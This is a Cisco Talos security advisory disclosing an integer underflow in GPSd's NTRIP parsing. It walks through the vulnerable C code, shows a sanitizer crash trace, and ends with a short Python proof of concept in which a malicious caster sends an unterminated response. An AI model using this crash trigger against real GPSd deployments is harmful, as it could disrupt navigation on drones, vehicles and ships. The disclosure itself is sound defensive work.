Headline
CVE-2023-43628: TALOS-2023-1860 || Cisco Talos Intelligence Group
An integer overflow vulnerability exists in the NTRIP Stream Parsing functionality of GPSd 3.25.1~dev. A specially crafted network packet can lead to memory corruption. An attacker can send a malicious packet to trigger this vulnerability.
SUMMARY
An integer overflow vulnerability exists in the NTRIP Stream Parsing functionality of GPSd 3.25.1~dev. A specially crafted network packet can lead to memory corruption. An attacker can send a malicious packet to trigger this vulnerability.
CONFIRMED VULNERABLE VERSIONS
The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.
GPSd 3.25.1~dev
PRODUCT URLS
GPSd - https://gpsd.gitlab.io/gpsd/
CVSSv3 SCORE
5.9 - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
CWE
CWE-191 - Integer Underflow (Wrap or Wraparound)
DETAILS
GPSd is a daemon used for monitoring, collecting and reporting GPS information to clients. In a typical configuration, the GPS data are provided by a serial device connected to the host machine. However, GPSd also supports aggregating GPS data from network sources. It is extensively used in Android as well as embedded systems such as drones, robot submarines, driverless cars, marine navigation and military systems.
GPSd can act as a client that gets GPS information from the network using the NTRIP protocol. As specified in the NTRIP documentation, the NTRIP client does an HTTP request to the NTRIP caster (as per NTRIP documentation) expecting a source table as a response. The source table defines a list of records describing the data provided:
SOURCETABLE 200 OK
Content-Type: text/plain
Content-Length: 6999
STR;FFMJ2;Frankfurt;RTCM 2.1;1(1),3(19),16(59);0;GPS;GREF;DEU;50.12;8.68;0;1;GPSNet V2.10;none;N;N;560;Demo
ENDSOURCETABLE
In the example above, a stream record is defined under the FFMJ2 path, where the NTRIP client is expected to perform a standard HTTP request to get specific GPS data.
GPSd, acting as an NTRIP client, uses the following code to parse the response from the caster.
#define NTRIP_BR "\r\n"
int ntrip_stream_get_parse(struct gps_device_t *device)
{
...
while (1) {
lexer_getline(lexer); [1]
...
if ('\0' == *lexer->outbuffer) {
// done, never got end of headers.
break;
}
if (0 == strncmp(obuf, NTRIP_BR, sizeof(NTRIP_BR))) { [2]
// done
break;
}
}
...
} The code performs a loop, getting one line from the response until there is a NULL byte or the delimiter `\r\n` is found at (2), denoting the main body of the response. To get one line, the `lexer_getline()` is used at [1] above.
static void lexer_getline(struct gps_lexer_t *lexer)
{
unsigned i;
for (i = 0; i < sizeof(lexer->outbuffer) - 2; i++) {
unsigned char u = *lexer->inbufptr++;
lexer->outbuffer[i] = u;
lexer->inbuflen--; [3]
if ('\0' == u) {
// found NUL
break;
}
if ('\n' == u) {
// found return
i++;
break;
}
if (0 == lexer->inbuflen) { [4]
// nothing left to read, ending not found
i++;
break;
}
}
}
In lexer_getline(), the code parses a line from one character at a time, looking for either a NULL byte or the \n character. In each iteration, the lexer->inbuflen variable is decremented at [3]. At [4], when the lexer->inbuflen is 0, the loop exits, denoting that there are no other characters to parse in that line, assuming no NULL bytes or \n characters are found in the line.
Recall however that the code continues to execute in the outer loop, searching for the the \r\n characters at [2]. If the characters are not found, the loop continues, executing lexer_getline() once again. Then at [3], the lexer->inbuflen is decremented once again, leading to an integer underflow.
Later, since the lexer->inbuflen is now 0xffffffffffffffff, the code believes there are leftover characters in the buffer and attempts to do a memmove() using lexer->inbuflen as the size argument. This could lead to memory corruption.
...
if (0 == lexer->inbuflen) {
packet_reset(lexer);
} else {
// The "leftover" is the start of the first chunk.
if (lexer->inbufptr != lexer->inbuffer) {
// Shift inbufptr to the start. Yes, a bit brutal.
memmove(lexer->inbuffer, lexer->inbufptr, lexer->inbuflen); [5]
lexer->inbufptr = lexer->inbuffer;
}
}
Crash Information
==470012==ERROR: AddressSanitizer: negative-size-param: (size=-1)
#0 0x55e609056090 in __asan_memmove (/home/dtatsis/gpsd_fuzz/gpsd/gpsd-3.25.1.asan/gpsd/gpsd+0x122090) (BuildId: 80383c29e763009d8a7ae0dca6977ebdc5c8b497)
#1 0x55e6091b8631 in ntrip_stream_get_parse /home/dtatsis/gpsd_fuzz/gpsd/gpsd-3.25.1/gpsd/net_ntrip.c:791:13
#2 0x55e6091baf02 in ntrip_open /home/dtatsis/gpsd_fuzz/gpsd/gpsd-3.25.1/gpsd/net_ntrip.c:1124:15
#3 0x55e6091b0c6d in gpsd_multipoll /home/dtatsis/gpsd_fuzz/gpsd/gpsd-3.25.1/gpsd/libgpsd_core.c:1978:19
#4 0x55e60909b0d6 in main /home/dtatsis/gpsd_fuzz/gpsd/gpsd-3.25.1/gpsd/gpsd.c:2855:29
#5 0x7f3ab3269d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#6 0x7f3ab3269e3f in __libc_start_main csu/../csu/libc-start.c:392:3
#7 0x55e608fbb8a4 in _start (/home/dtatsis/gpsd_fuzz/gpsd/gpsd-3.25.1.asan/gpsd/gpsd+0x878a4) (BuildId: 80383c29e763009d8a7ae0dca6977ebdc5c8b497)
0x55e609da436a is located 29450 bytes inside of global variable 'devices' defined in '/home/dtatsis/gpsd_fuzz/gpsd/gpsd-3.25.1/gpsd/gpsd.c:315' (0x55e609d9d060) of size 730512
SUMMARY: AddressSanitizer: negative-size-param (/home/dtatsis/gpsd_fuzz/gpsd/gpsd-3.25.1.asan/gpsd/gpsd+0x122090) (BuildId: 80383c29e763009d8a7ae0dca6977ebdc5c8b497) in __asan_memmove
Exploit Proof of Concept
As a PoC, we act as a very simple NTRIP caster, functionally the same as an HTTP server. On a GET request on the root we send a source table with one record, indicating that we provide NTRIP stream data under the TEST path. When GPSd does a request on this specific path, we send a standard HTTP response that is not properly terminated as GPSd expects, resulting in a crash.
r = s.recv(128)
print(f"[+] Got request '{r[:16]}', ...")
if len(r) == 0:
return
if r.startswith(b"GET / HTTP/1.1"):
print("[+] Sending NTRIP sourcetable")
s.sendall(b"Content-Type: gnss/sourcetable\r\n")
s.sendall(b"\r\n")
s.sendall(b"\r\n")
s.sendall(b"SOURCETABLE\r\n")
s.sendall(b"\r\n")
s.sendall(b"STR;TEST;City;CMR+;\r\n")
s.sendall(b"ENDSOURCETABLE\r\n")
elif r.startswith(b"GET /TEST HTTP/1.1"):
print("[+] Got stream data request ...")
s.sendall(b"HTTP/1.1 200 OK\r\n")
TIMELINE
2023-11-22 - Initial Vendor Contact
2023-11-23 - Vendor Disclosure
2023-11-29 - Vendor Patch Release
2023-12-05 - Public Release
Discovered by Dimitrios Tatsis of Cisco Talos.
Related news
Cisco Talos has disclosed 10 vulnerabilities over the past two weeks, including nine that exist in a popular online PDF reader that offers a browser plugin.